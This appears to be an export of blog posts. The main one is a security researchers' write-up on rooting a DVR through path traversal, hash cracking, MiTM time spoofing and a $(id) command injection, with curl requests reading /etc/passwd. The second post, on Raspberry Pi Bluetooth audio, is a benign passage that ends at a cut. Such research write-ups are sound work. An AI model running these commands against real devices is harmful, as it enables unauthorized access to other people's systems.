[{"content":"|=-----------------------------------------------------------------------=| |=------------------=[ Bending Time for Fun and Root ]=------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Zezadas (sefod.eu) ]=-----------------------=| |=-------------------=[ David Silva (davidsilva.pt) ]=-------------------=| |=-----------------------------------------------------------------------=| --\\[ √-1. Index \\]\nIntroduction Initial Reconnaissance Reverse Engineering the Mobile Application Crashes and Core Dumps Reverse Engineering encode Hardware Access Init Script Bending Time for Fun and Root The Ghost in the Footage --\\[ 0. Introduction \\]\nThis is the story of two friends, Zezadas and David, a pandemic lockdown, a lot of time to spare and a desire for high-fidelity nostalgia.\nDavid had purchased a digital video recorder (DVR) to digitize VHS tapes. The device has an ethernet port, mentioned multiple discontinued features like connectivity to YouTube and a mobile application, but no ability to transfer recordings over the network. What a bummer!\nDavid showed Zezadas the device and what he had discovered thus far. The two friends joined forces with a common goal of adding more functionalities to the device and learn something new while attempting to jailbreak it.\nThis article is intended to show a broader audience the fun side of hacking and how a combination of mistakes and wild ideas, like bending the time (more on that later), may lead to surprising results.\nWith this article, we want to share some tips with the community and inspire people to research their devices.\nThis research was presented at BSides Lisbon 2023 under the title \u0026ldquo;Hacking Embedded Devices - From Black Box to UID 0\u0026rdquo;.\n--\\[ 1. Initial Reconnaissance \\]\nThe DVR features several standard interfaces: HDMI input for video capture, HDMI output for the TV, analog RCA Component (but not Composite), an Ethernet port for network, a USB port, and a SATA interface intended for storage. We also saw a set of exposed test points beneath the SATA connector (likely used for low-level debugging or manufacturing access), but their exact purpose was not determined.\nThe vendor’s website indicates that the company previously offered a mobile application for iOS and Android called GameMate, which allowed users to control the device remotely.\nThe support page offers firmware updates for download, an Open Source Notice, and little else beyond notices about discontinued features.\nAn nmap scan confirms the existence of a REST API that is likely the one used by the mobile application, but no services like SSH, FTP, or telnet.\nAvailable firmware updates are encrypted and the Open Source Notice shows Linux-related tools and libraries, strongly suggesting that the device was built on a standard Linux software stack.\nThe mobile application and all the integrations offered as selling points for the device are now discontinued. The network port is now exclusively used to set the clock.\n--\\[ 2. Reverse Engineering the Mobile Application \\]\nThe vendor previously provided an Android application called GameMate for remotely controlling the device. Although it has long since been removed from the Play Store, it is still available for download from public mirrors.\nReversing the application with JADX revealed that all logic was controlled by a library named hellocpp.\nOpening the library in Ghidra reveals the methods from the REST API called by the mobile application to control the device.\nHere are some of the endpoints:\n... \u0026#34;http://%s:%d/eos/method/get_file_content\u0026#34; \u0026#34;http://%s:%d/eos/method/get_file_content/content_name=%s\u0026#34; \u0026#34;http://%s:%d/eos/method/pairing\u0026#34; \u0026#34;http://%s:%d/eos/query/device_name_get\u0026#34; \u0026#34;http://%s:%d/eos/method/pincode_check\u0026#34; \u0026#34;http://%s:%d/eos/method/keep_alive\u0026#34; \u0026#34;http://%s:%d/eos/method/get_box_status\u0026#34; \u0026#34;http://%s:%d/eos/method/pincode_gen\u0026#34; \u0026#34;http://%s:%d/eos/query/pincode_check_result\u0026#34; \u0026#34;http://%s:%d/eos/method/quit_pairing\u0026#34; \u0026#34;http://%s:%d/eos/method/up\u0026#34; \u0026#34;http://%s:%d/eos/method/down\u0026#34; \u0026#34;http://%s:%d/eos/method/left\u0026#34; \u0026#34;http://%s:%d/eos/method/right\u0026#34; \u0026#34;http://%s:%d/eos/method/f1\u0026#34; \u0026#34;http://%s:%d/eos/method/f2\u0026#34; \u0026#34;http://%s:%d/eos/method/f3\u0026#34; ... Controlling the device through the app requires a standard verification flow:\nThe mobile application requests a pairing PIN. The box displays a 4-digit PIN on the TV screen. The user enters the PIN into the mobile application. The application sends the PIN to the box API for verification. As for the API endpoints used for interacting with the device, a few stood out as particularly interesting:\nplGetFilesInfos plGetDirList snapshotPathGet plGetFilesInfos is used to enumerate media files stored on the device. The endpoint accepts a file_name_path parameter (e.g., /media/sda1). Its output is, however, limited to video captures recorded by the device.\n// curl \u0026#39;http://192.168.1.180:24170/eos/method/get_files_infos\u0026#39; \\ // --data \u0026#39;file_name_path=/media/sda1’ [ { \u0026#34;thumb_size\u0026#34;: \u0026#34;8.9KB\u0026#34;, \u0026#34;file_type\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;file_name\u0026#34;: \u0026#34;141111-1854.mp4\u0026#34;, \u0026#34;date\u0026#34;: \u0026#34;2014/11/11 18:58:13\u0026#34;, \u0026#34;file_length\u0026#34;: \u0026#34;239\u0026#34;, \u0026#34;file_size\u0026#34;: \u0026#34;359.2 MB\u0026#34;, \u0026#34;thumb_position\u0026#34;: \u0026#34;/media/sda1/.thumb/.141111-1854_thumb.jpg\u0026#34; } ] plGetDirList is used to list directories. It accepts a file_name_path parameter (e.g., /) and allows directory traversal across the filesystem. However, it only returns a list of directories, not files.\n// curl \u0026#39;http://192.168.1.180:24170/eos/method/get_folders\u0026#39; \\ // -d file_name_path=\u0026#39;/\u0026#39; {\u0026#34;folder_list\u0026#34;:[ {\u0026#34;name\u0026#34;: \u0026#34;/bin\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/boot\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/dev\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/etc\u0026#34;}, {\u0026#34;name\u0026#34;: \u0026#34;/home\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/lib\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/media\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/mnt\u0026#34;}, {\u0026#34;name\u0026#34;: \u0026#34;/opt\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/proc\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/sbin\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/srv\u0026#34;}, {\u0026#34;name\u0026#34;: \u0026#34;/sys\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/tmp\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/usr\u0026#34;},{\u0026#34;name\u0026#34;: \u0026#34;/var\u0026#34;} ]} snapshotPathGet is used to download the thumbnails of the recordings. It accepts a content_name parameter that is not properly restricted or validated. As a result, the endpoint allows the download of not only thumbnail assets, but any arbitrary file.\nThis allows access to sensitive system files, including /etc/passwd, revealing the hash of the root account:\n# curl http://192.168.1.180:24170/eos/method/get_file_content # /content_name=/etc/passwd root:\u0026lt;redacted\u0026gt;:0:0:root:/home/root:/bin/sh daemon:*:1:1:daemon:/usr/sbin:/bin/sh bin:*:2:2:bin:/bin:/bin/sh sys:*:3:3:sys:/dev:/bin/sh sync:*:4:65534:sync:/bin:/bin/sync games:*:5:60:games:/usr/games:/bin/sh man:*:6:12:man:/var/cache/man:/bin/sh lp:*:7:7:lp:/var/spool/lpd:/bin/sh # ... The extracted hash was brute-forced using Hashcat, and within a few hours the corresponding plaintext password was recovered:\n# hashcat -m 1500 -a 3 hash.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 7.0 Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ================================================================================================================================ * Device #1: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900HX, 29984/60032 MB (30016 MB allocatable), 32MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 8 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates ... \u0026lt;redacted_hash\u0026gt;:\u0026lt;redacted_password\u0026gt; Session..........: hashcat Status...........: Cracked Hash.Mode........: 1500 (descrypt, DES (Unix), Traditional DES) Hash.Target......: \u0026lt;redacted_hash\u0026gt; Kernel.Feature...: Pure Kernel Guess.Mask.......: ?l?d?d?d?d?d?d?l [8] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 27995.3 kH/s (7.62ms) @ Accel:8 Loops:1024 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 154943488/676000000 (22.92%) Rejected.........: 0/154943488 (0.00%) Restore.Point....: 59392/260000 (22.84%) Restore.Sub.#1...: Salt:0 Amplifier:1024-2048 Iteration:0-1024 Candidate.Engine.: Device Generator Hardware.Mon.#1..: Temp: 90c Util: 76% But there\u0026rsquo;s little point in having the login credentials if the device does not expose any authentication or login endpoint where they can be used.\n--\\[ 3. Crashes and Core Dumps \\]\nDuring the testing of the API, we sent a malformed path name that caused the device to crash.\nBy pure luck, we had a USB flash drive connected to the device. It also happened to have an activity LED that started blinking after the crash. While this was a lucky coincidence, it also serves as a useful tip.\nWe removed the flash drive, connected it to a computer and saw a password-protected compressed crash log.\n# 7z l cr-2020-05-28-21-33-05.7z Scanning the drive for archives: 1 file, 4989 bytes (5 KiB) Listing archive: cr-2020-05-28-21-33-05.7z -- Path = cr-2020-05-28-21-33-05.7z Type = 7z Physical Size = 4989 Headers Size = 173 Method = LZMA:16 7zAES Solid = - Blocks = 1 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2020-05-28 21:33:55 ....A 20565 4816 .cr-2020-05-28-21-33-05.txt ------------------- ----- ------------ ------------ ------------------------ 2020-05-28 21:33:55 20565 4816 1 files At this point, we suspected that the device used the USB flash drive as a temporary buffer for crash data. Since the drive is formatted as NTFS, the original uncompressed files could be recovered using PhotoRec.\n# photorec PhotoRec 7.2, Data Recovery Utility Christophe GRENIER \u0026lt;grenier@cgsecurity.org\u0026gt; https://www.cgsecurity.org Disk flash_drive.img - 1073 MB / 1024 MiB (RO) Partition Start End Size in sectors P NTFS 0 0 1 130 138 8 2097152 6 files saved in /tmp/recovered/recup_dir directory. Recovery completed. In the recovered files, there was a crash log and a core dump.\n# cat cr-2020-05-28-21-33-05.txt [New LWP 1310] [New LWP 1311] ... warning: Unable to find libthread_db matching inferior\u0026#39;s thread library, thread debugging will not be available. warning: Unable to find libthread_db matching inferior\u0026#39;s thread library, thread debugging will not be available. ... Core was generated by `./encode\u0026#39;. Program terminated with signal 11, Segmentation fault. #0 0x00026178 in avm_FileList_Clean (head=0x4433735c, current=0x4433735c) at avm_db.c:151 151\tavm_db.c: No such file or directory. in avm_db.c ... == Info sharedlibrary From To Syms Read Shared Object Library 0x40029c90 0x400382ac Yes (*) /lib/libpthread.so.0 0x40061c3c 0x400d8d74 Yes (*) /usr/lib/libasound.so.2 ... == Info registers r0 0x4433735c\t1144222556 r1 0x4433735c\t1144222556 r2 0x1d\t29 r3 0x1d\t29 r4 0x114ce5c\t18140764 r5 0x44338490\t1144226960 r6 0x4002c550\t1073923408 r7 0x152\t338 r8 0x3d0f00\t4001536 r9 0x400383d8\t1073972184 r10 0x0\t0 r11 0x4433734c\t1144222540 r12 0x424adc\t4344540 sp 0x44337338\t0x44337338 lr 0x297e4\t169956 pc 0x26178\t0x26178 \u0026lt;avm_FileList_Clean+92\u0026gt; cpsr 0x20000010\t536870928 == Disassemble Dump of assembler code for function avm_FileList_Clean: 0x0002611c \u0026lt;+0\u0026gt;:\tpush\t{r11, lr} 0x00026120 \u0026lt;+4\u0026gt;:\tadd\tr11, sp, #4 0x00026124 \u0026lt;+8\u0026gt;:\tsub\tsp, sp, #16 0x00026128 \u0026lt;+12\u0026gt;:\tstr\tr0, [r11, #-16] 0x0002612c \u0026lt;+16\u0026gt;:\tstr\tr1, [r11, #-20] ... # strings ./core-2020-05-28-21-33-05 ... ./encode CONSOLE=/dev/console OLDPWD=/ HOME=/ runlevel=5 INIT_VERSION=sysvinit-2.86 TERM=linux PATH=/bin:/usr/bin:/sbin:/usr/sbin RUNLEVEL=5 PREVLEVEL=N SPLASH=1 PWD=/opt/dvsdk/dm368/usr/share/ti/dvsdk-demos previous=N VERBOSE=no ./encode Analysis of the recovered crash artifacts made it possible to identify the binary responsible for the fault:\n/opt/dvsdk/dm368/usr/share/ti/dvsdk-demos/encode The binary is named after a Texas Instruments Digital Video SDK (DVSDK) demo suite, indicating that the device is built on an embedded multimedia platform.\nFurther inspection of the crash metadata allowed to fingerprint the underlying system more precisely:\nCPU architecture: ARMv5 Kernel version: Linux 2.6 (DaVinci platform) Platform family: TI DaVinci digital media SoC SoC identification: TMS320DM368 The DaVinci designation refers to Texas Instruments\u0026rsquo; digital media system-on-chip family, widely used in embedded video processing devices.\nWith the binary path recovered through the crash data, the encode executable was subsequently extracted using the previously mentioned path traversal vulnerability.\n# curl http://192.168.1.180:24170/eos/method/get_file_content # /content_name=/opt/dvsdk/dm368/usr/share/ti/dvsdk-demos/encode ... # du -h encode 7.1M\tencode The file size hints that this monolith is responsible for all the logic of the device.\n--\\[ 4. Reverse Engineering encode \\]\nBy reversing the encode binary, we found logic for the UI, the API server, and, most importantly, how the device handles firmware updates.\nThe update routine proved to be relatively straightforward to find and revealed that the firmware is decrypted by invoking the OpenSSL utility through the shell.\nint decrypt(EVP_PKEY_CTX *ctx,uchar *out,size_t *outlen,uchar *in,size_t inlen) { char buf [1024]; memcpy(buf,\u0026#34;openssl enc -d -des3 -in /tmp/file.en -out /tmp/file.de -pass pass:\u0026lt;redacted\u0026gt;\u0026#34;,0x4d); system(buf); sync(); return 0; } This same password can be used to decrypt the firmware images previously downloaded from the vendor’s website.\nTo reconstruct the rootfs, we developed a Python script that mimics the observed behavior of the update logic, implementing the same offset calculations, partition extraction and decryption as the original implementation.\nThis allowed the firmware images to be decrypted and mounted locally, enabling full inspection of the system contents, accelerating further reverse engineering efforts.\n# ls -luah total 32 drwxr-xr-x 20 root root 640B May 18 22:38 . drwxr-xr-x 4 root root 128B May 18 22:38 .. drwx------ 87 root root 2.7K May 18 22:38 bin drwx------ 4 root root 128B May 18 22:38 boot drwx------ 700 root root 22K May 18 22:38 dev drwx------ 64 root root 2.0K May 18 22:38 etc -rw-r--r-- 1 root root 381B May 18 22:38 git.log drwx------ 3 root root 96B May 18 22:38 home drwx------ 73 root root 2.3K May 18 22:38 lib -rw-r--r-- 1 root root 12B May 18 22:38 linuxrc -rw-r--r-- 1 root root 10B May 18 22:38 media drwx------ 7 root root 224B May 18 22:38 mnt drwx------ 4 root root 128B May 18 22:38 opt drwx------ 3 root root 96B May 18 22:38 proc drwx------ 138 root root 4.3K May 18 22:38 sbin drwx------ 3 root root 96B May 18 22:38 srv drwx------ 3 root root 96B May 18 22:38 sys -rw-r--r-- 1 root root 8B May 18 22:38 tmp drwx------ 11 root root 352B May 18 22:38 usr drwx------ 12 root root 384B May 18 22:38 var At this point, it was technically possible to create and install custom firmware, but this approach was deliberately avoided. While feasible, it carried a significant risk of permanently bricking the device, particularly given the lack of a reliable recovery mechanism.\n--\\[ 5. Hardware Access \\]\nUpon opening the device, we saw two distinct UART interfaces inside the enclosure. One appeared to be associated with the infrared remote subsystem and the other was connected to the main Linux system.\nConnecting to the Linux UART interface and booting the device allowed us to read the full boot log. Early in the boot, the standard U-Boot prompt appeared:\n“Hit any key to stop autoboot” However, despite multiple attempts we were unable interrupt the boot process or access the U-Boot shell (and yes, we tried pressing \u0026ldquo;any key\u0026rdquo;).\nAs the system continued booting, Linux initialized normally. Shortly after, encode launched but no login prompt was ever presented.\nEven when deliberately triggering crashes in the encode process (as previously demonstrated), the system simply restarts the service without exposing any form of interactive login or shell access.\n--\\[ 6. Init Script \\]\nAmong the startup services, we saw /etc/init.d/encode-demo.\nThe service is designed to run continuously in a loop, automatically restarting encode when it crashes. However, an additional safety mechanism is also implemented to handle corrupted firmware.\ncounter=0 #Limited dwell time during the running encode demo(sec). #If running time over the this value, counter will be increased(plus one). limit_RT=10 #Limited frequency that is related with limit_RT value. #If counter value over the this value, this script will be done. limit_CT=5 ... # encode has crashed, do clean-up and restart encode # if encode has crashed too frequently, we must stop the \u0026#34;restarting\u0026#34; # and switch to the other firmware. # # \u0026#34;Too frequently\u0026#34; is determined here. echo \u0026#34;#killall encode\u0026#34; killall encode timestamp_end=$(GetTime) running_time=`expr $timestamp_end - $timestamp_start` echo \u0026#34;running_time:\u0026#34;$running_time if [ \u0026#34;$running_time\u0026#34; -lt \u0026#34;$limit_RT\u0026#34; ]; then let counter=counter+1 echo $counter else counter=0 fi if [ \u0026#34;$counter\u0026#34; -eq \u0026#34;$limit_CT\u0026#34; ]; then #echo \u0026#34;total counter is :\u0026#34;$counter echo \u0026#34;#break out !!!\u0026#34; break; fi done # If scripts runs to this point, encode has crashed very frequently. # So we decide to switch to the other firmware. echo \u0026#34;#BOOTCMD\u0026#34; BOOTCMD=`fw_printenv bootcmd` case \u0026#34;$BOOTCMD\u0026#34; in *4000000*) ... *) # switching from firmware 1 to firmware 2 echo \u0026#34;setting fw2 space boot\u0026#34; ... esac # this script will end here, and allows console login! The device uses a dual-partition layout (Bank A / Bank B). If encode crashes more than five times within a 10 millisecond window, the system consider the firmware corrupted and triggers a rollback procedure, switching execution to the alternate firmware bank. After switching banks, the system drops the user into the login prompt.\nCausing five crashes within a 10 millisecond window proved extremely difficult. The detection window is very tight.\nAttempting to generate high-frequency crash conditions led to CPU saturation, which delayed processing and ultimately prevented crash events from being registered within the required time window. Reducing the request rate, however, meant falling below the threshold needed to trigger the condition.\n--\\[ 7. Bending Time for Fun and Root \\]\nAs promised in Chapter 1, here comes the good part!\nUpon further analysis of the startup behavior of the encode binary, we noticed that the device uses a peculiar mechanism to update its time from a time server (the only networking feature still officially supported by the vendor).\nOn each execution, encode attempts to synchronize the system clock by performing an HTTP request to http://google.com and extracting the date header.\nNotably, this is done over plain HTTP rather than HTTPS, making the time synchronization flow vulnerable to MiTM (Man-in-the-Middle) attacks.\nAVM_NETWORK_MENU_RET avm_sync_network_time(void) { AVM_NETWORK_MENU_RET local_14; AVM_NETWORK_MENU_RET net_ret; local_14 = avm_check_internet_connection(); if ((local_14 == NET_OK) \u0026amp;\u0026amp; (local_14 = sync_time_from_net(\u0026#34;http://www.google.com\u0026#34;), local_14 == NET_OK)) { local_14 = NET_OK; } return local_14; } By intercepting and modifying the HTTP response, the perceived system time during boot could be effectively controlled, allowing the device\u0026rsquo;s time synchronization mechanism to be influenced in a deterministic way.\nThis behavior, in combination with the previously identified crash-based fallback condition, resulted in the following exploit plan:\nBoot the device and wait for encode to request the current time. Use a MiTM proxy to intercept the time request and respond with a manipulated timestamp (e.g., 13:37). Send a malformed request to trigger a crash. Wait for encode to restart and request the time again. Respond with a time shifted 10 minutes earlier (e.g., 13:27). Trigger another crash. Repeat steps 4–6 until the crash counter reaches 5. By making the delta between start time and crash time negative (-10 minutes), the condition to increment the crash counter is met.\nRepeating this five times will trigger the firmware rollback mechanism which returns execution to the login prompt, where the previously recovered root password can be used.\n... Starting encode running_time: -1850 1 #sleep running_time: -1850 2 #sleep ... running_time: -1850 5 #Break out !!!! Setting fw2 space boot _____ _____ _ _ | _ |___ ___ ___ ___ | _ |___ ___ |_|___ ___| |_ | | _| .\u0026#39;| . | . | | __| _| . | | | -_| _| _| |__|__|_| |__,|_ |___| |__| |_| |___|_| |___|___|_| |___| |___| dm368-evm login: root Password: root@dm368-evm:~# id uid=0(root) gid=0(root) groups=0(root) root@dm368-evm:~# MISSION ACCOMPLISHED!\nMission accomplished!\nOr so we thought\u0026hellip;\n--\\[ 8. The Ghost in the Footage \\]\nEven before any real research started, we tried a limited set of low-effort command injections against the device\u0026rsquo;s User Interface. There were not many input fields available for fuzzing or injection testing, but there was a watermark customization feature that accepted user-controlled input.\nInputing strings with commands like $(id) was possible, but it did not seem to be reflected anywhere.\nSome months went by and new gear arrived. It was now time to use the device for the purpose for it was bought: digitizing VHS tapes.\nAs we hit the record button, we saw some unexpected text overlaying the video:\nuid=0(root) gid=0(root) groups=0(root) This led to a surprising realization: there had been an unintentional command injection path in the watermark display functionality all along, but the watermark feature requires a device connected to the device\u0026rsquo;s HDMI input port and one was never connected until then.\nThe system had been vulnerable from the very beginning, it simply required the right execution context to reveal itself.\nEOF\n","date":"20 June 2026","externalUrl":null,"permalink":"/posts/from_black_box_to_uid_0/","section":"Posts","summary":"","title":"From Black Box to UID 0 - Zezadas and David Silva","type":"posts"},{"content":"","date":"20 June 2026","externalUrl":null,"permalink":"/","section":"Hack the Planet","summary":"","title":"Hack the Planet","type":"page"},{"content":"","date":"20 June 2026","externalUrl":null,"permalink":"/tags/index/","section":"Tags","summary":"","title":"Index","type":"tags"},{"content":"","date":"20 June 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"20 June 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" Turning a Raspberry Pi Zero into a Bluetooth Audio Receiver (Fixing SCO Mapping) # I recently wanted a compact Bluetooth receiver for my car so I could stream music from my phone to the AUX input. A Raspberry Pi Zero 2 W (or Zero W) is ideal: inexpensive, small, and equipped with onboard Bluetooth.\nBeyond music streaming, this setup also serves as a car alarm and tracker. A 4G modem provides connectivity, allowing the Pi to send alerts and GPS location data. The project is still evolving, with plans to interface directly with the car’s CAN bus using an MCP2515 controller to monitor vehicle status and enable more advanced functionality.\nHowever, getting Bluetooth audio working reliably on a headless Raspberry Pi OS Lite system turned into a debugging challenge.\nThe root cause was that the Bluetooth SCO audio path was mapped to a different interface, preventing audio from reaching the expected output. Fixing this required sending vendor-specific HCI commands to the Broadcom controller.\nNote: On Raspberry Pi Zero W and Zero 2 W, this may work out of the box if a PCM interface is connected directly to speakers and a microphone via GPIO. In such cases, these HCI commands are not required.\nTesting on a Raspberry Pi 5 showed that no additional configuration is needed—bluetooth audio works correctly without issuing HCI commands.\nHardware Setup # The system consists of:\nRaspberry Pi Zero 2 W – main controller handling Bluetooth audio, connectivity, and system logic USB audio card – provides microphone input and AUX output 4G HAT SIM7600G-H (B) – LTE connectivity and GPS External USB Wi-Fi dongle – creates a hotspot to share the 4G connect Bluetooth Audio Profiles: A2DP, HFP, and HSP # Three Bluetooth profiles are available: A2DP handles music only and doesn’t support a microphone, HSP is an outdated profile and provides basic bidirectional audio, and HFP is the hands-free profile for calls with bidirectional audio that we need to configure on the Raspberry Pi.\nA2DP (Advanced Audio Distribution Profile) # Uses ACL links (Asynchronous Connection-Less). Designed for high-quality, one-way audio streaming (music). Only sends audio from the source (phone) to the sink (Raspberry Pi or Bluetooth speaker). Transmits stereo audio at higher quality (SBC, aptX, or LDAC). Does not support microphone input, making it unsuitable for phone calls. HFP (Hands-Free Profile) # Uses SCO links for low-latency audio. Designed for hands-free calling. Supports bidirectional audio, carrying both the microphone input and speaker output. Can be routed via Transport (HCI), PCM, Codec, or I2S (PCM/I2S require an external codec) Modern smartphones typically prefer HFP over HSP because it supports additional features like caller ID, call control, and wideband audio (mSBC). HSP (Headset Profile) # Older profile primarily for simple headsets. Uses SCO, but has fewer features than HFP (no call control, no wideband audio). Supports basic bidirectional audio (mic + speaker). Some devices still fall back to HSP if HFP is unsupported. Audio Servers # Audio servers such as PulseAudio and PipeWire are responsible for routing and managing audio streams on Linux. Unlike telephony stacks, they do not implement call control or modem functionality.\nLimitations of audio servers are:\nCannot answer or hang up calls. Do not provide caller ID or telephony signaling. Modern setups prefer PipeWire, which:\nEliminates the need for separate telephony stacks for audio. Integrates HFP, HSP, and A2DP audio routing directly into the server. Succeeds PulseAudio and builds upon its capabilities. Telephony Stacks # Before PipeWire became the standard, handling Bluetooth HFP required dedicated telephony stacks:\nofono – a full telephony stack providing HFP support. Pros: Complete HFP implementation. Cons: Conflicts with ModemManager, which is used for LTE/4G modems. hsphfpd – a simpler daemon providing HSP/HFP audio support. Pros: Lightweight, easier to configure for audio-only use. Cons: Limited features. Audio Streaming with A2DP # Before discussing SCO (Synchronous Connection-Oriented) on HFP (Hands-Free Profile), let’s talk about A2DP (Advanced Audio Distribution Profile), which handles high-quality music streaming over Bluetooth.\nIt is one-way only—it streams audio from the source (e.g., a phone) to the sink (the Raspberry Pi) without carrying microphone input. This makes it perfect for music but unsuitable for phone calls.\nThe audio is carried over ACL (Asynchronous Connection-Less) packets, which are delivered to the host CPU via the HCI (Host Controller Interface). This allows the Raspberry Pi to decode the audio in software using PipeWire or ALSA.\nWhile A2DP works well for streaming music, handling phone calls is a completely different challenge. Unlike music, calls require bidirectional audio, low latency, and proper handling of the microphone input, which is where SCO (Synchronous Connection-Oriented) comes in.\nAudio Interfaces: SCO Routing (Synchronous Connection-Oriented) # While A2DP handles high-quality, one-way music streaming, phone calls require bidirectional, low-latency audio, which is where SCO (Synchronous Connection-Oriented) comes in.\nSCO is a Bluetooth link specifically designed for voice channels. It’s used by HSP/HFP headsets and hands-free calling. Unlike A2DP, SCO carries both microphone input and speaker output in real time. On the Raspberry Pi Zero, SCO audio can be delivered in several ways:\nPCM SCO audio is output as PCM frames via the Broadcom chip’s PCM/I2S interface. Transport SCO audio is encapsulated in HCI packets and delivered directly to the host OS. Codec Typically used for internal or proprietary processing paths. I2S SCO audio is routed over GPIO to an external audio codec or MEMS device. The Actual Problem # On the Raspberry Pi Zero, the onboard Broadcom BCM43438 Bluetooth controller is configured to route SCO audio over PCM instead of HCI/Transport.\nThe Linux audio stack (BlueZ → PipeWire/WirePlumber → ALSA → USB audio) expects SCO audio via HCI. With no PCM hardware connected, SCO audio is effectively lost. Result:\nBluetooth pairing works. A2DP audio works. HFP/HSP call audio is silent. Solution:\nSend vendor-specific HCI commands to switch SCO routing from PCM to Transport. Once switched, SCO audio flows through the Linux audio stack to the USB audio device. The PulseAudio documentation notes that some Broadcom controllers require hcitool commands to enable SCO audio. In practice:\nAudio from the phone → Raspberry Pi works. Microphone from Raspberry Pi → phone does not work. Using the appropriate HCI commands allowed audio from the Pi to be heard during phone calls, but the microphone remained silent. This confirmed the issue was related to SCO routing rather than the audio server.\nDisabling the additional PCM/I2S interfaces resolved the problem.\nBroadcom Documentation Availability # Official Broadcom documentation for the Raspberry Pi’s onboard Bluetooth controller exists, but it is difficult to find and often incomplete.\nThe SCO/HFP configurations, commands, and insights presented here were derived from:\nBroadcom, Cypress, Infineon datasheets Open-source repositories Community forums A lot of trial, error, and debugging! The Raspberry Pi Zero W uses the Broadcom BCM43438, while the Zero 2 W uses the BCM43439. Both chipsets’ firmware expect SCO audio to be routed over either PCM, Transport, Codec or I2S interfaces.\nFixing the Controller Configuration # The Broadcom Bluetooth controller on the Raspberry Pi Zero (BCM43438 / BCM43439) requires vendor-specific HCI commands to properly route SCO/HFP audio.\nThe commands below are used to read current configuration.\n# Read SCO status hcitool -i hci0 cmd 0x3F 0x001D # Example output: # 01 1D FC 00 00 02 00 01 01 # Read PCM interface parameters hcitool -i hci0 cmd 0x3F 0x001F # Example output: # 01 1F FC 00 00 00 00 03 00 # Read I2S/PCM interface configuration hcitool -i hci0 cmd 0x3F 0x6E # Example output: # 01 6E FC 00 2E 00 00 00 00 00 00 00 HCI Responses – Byte Mapping # Read SCO Status (0x001D) # Read value:\n01 1D FC 00 00 02 00 01 01 Byte: 1 2 3 4 5 6 7 8 | | | | | | | | Value: 01 1D FC 00 00 02 00 01 01 Meaning: 01 → HCI Command Complete packet indicator 1D FC → Command opcode (vendor-specific) 00 → Status (0 = success) 00 → SCO routing (00 = PCM, 01 = Transport, 02 = Coded, 03= I2S) 02 → Interface rate 00 → Frame type 01 → Sync mode 01 → Clock mode Read PCM Interface Parameters (0x001F) # Read value:\n01 1F FC 00 00 00 00 03 00 Byte: 1 2 3 4 5 6 7 8 9 | | | | | | | | Value: 01 1F FC 00 00 00 00 03 00 Meaning: 01 → HCI packet indicator 1F FC → Command opcode 00 → Status 00 → PCM interface enable 00 → PCM interface mode 00 → PCM sync \u0026amp; clock 03 → PCM word length 00 → Reserved Read I2S/PCM Interface Configuration (0x6E) # Read value:\n01 6E FC 00 2E 00 00 00 00 00 00 00 Byte: 1 2 3 4 5 6 7 8 9 10 11 12 | | | | | | | | | | | | Value: 01 6E FC 00 2E 00 00 00 00 00 00 00 Meaning: 01 → HCI packet indicator 6E FC → Command opcode 00 → Status 2E → Interface features flags (I2S enabled, PCM enabled, master mode, ...) 00 → Clock configuration 00 → Word length 00 00 00 00 → Features 00 → Reserved Writing Configuration # After inspecting the default configuration, the following commands reconfigure the controller to ensure SCO audio is properly routed to the Linux audio stack:\n# Initialize SCO/PCM interface hcitool -i hci0 cmd 0x3F 0x001C 0x01 0x02 0x00 0x01 0x01 # Configure PCM data format hcitool -i hci0 cmd 0x3F 0x001E 0x00 0x00 0x00 0x00 0x00 # Configure I2S/PCM interface (clocking and routing) hcitool -i hci0 cmd 0x3F 0x6D 0x00 0x00 0x00 0x00 PipeWire Setup (Headless Raspberry Pi OS Lite) # Install required packages:\napt install -y bluetooth pipewire wireplumber libspa-0.2-bluetooth pipewire-audio-client-libraries Enable Bluetooth:\nsystemctl enable --now bluetooth Enable PipeWire and WirePlumber for the target user (update SSH_USER to match your username):\nSSH_USER=\u0026#34;user\u0026#34; systemctl --machine=\u0026#34;${SSH_USER}\u0026#34;@.host --user enable --now pipewire systemctl --machine=\u0026#34;${SSH_USER}\u0026#34;@.host --user enable --now wireplumber On a headless Raspberry Pi, it is needed to tweak WirePlumber to avoid unnecessary GUI/seat checks and to set sane defaults.\nBy default, WirePlumber manages “seats” (groupings of input/output devices) and may wait for a graphical session to become available. On headless systems, this behavior can delay startup or interfere with default audio routing.\nAvailable profiles are defined in /usr/share/wireplumber/wireplumber.conf, with the “main” profile used by default. Alternative profiles that disable seat management—such as “main-systemwide” and “main-embedded”—are also available.\nThe “main-embedded” profile does not persist state, meaning settings such as volume levels are not retained across reboots.\nCreate a systemd override at /etc/systemd/user/wireplumber.service.d/override.conf:\n[Service] ExecStart= ExecStart=/usr/bin/wireplumber -p main-embedded After editing:\nsystemctl --user daemon-reexec systemctl --user restart wireplumber Since the “main-embedded” profile does not persist state, default audio levels must be explicitly defined to ensure consistent behavior at 